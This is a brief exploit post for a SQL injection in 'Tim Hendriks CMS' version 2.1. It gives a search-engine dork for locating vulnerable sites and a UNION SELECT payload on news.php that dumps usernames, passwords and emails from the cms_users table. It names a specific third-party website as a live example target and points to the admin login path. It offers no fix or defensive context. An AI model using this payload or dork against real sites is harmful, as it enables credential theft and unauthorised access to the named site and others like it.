[Vuln] Tim Hendriks CMS SQLi vulnerability

[-]
CMS Version: Version 2.1

[-]
Injection Point : /news.php?id=-9 [ SQL ]

[-]
Dork: intext:"Powered by Content-Management-System " © Tim Hendriks 2008 " + inurl:news.php?id=

[-]
Exploit Code: /news.php?id=-9 union select 1,2,3,4,group_concat(username,0x3a,pass,0x3a,email))from cms_users--


[-]
Example: http://www.boom-trikes.de/news.php?id=-9 union select 1,2,3,4,group_concat(username,0x3a,pass,0x3a,email))from cms_users--

[-]
Login Admin Panel : http://server/cms/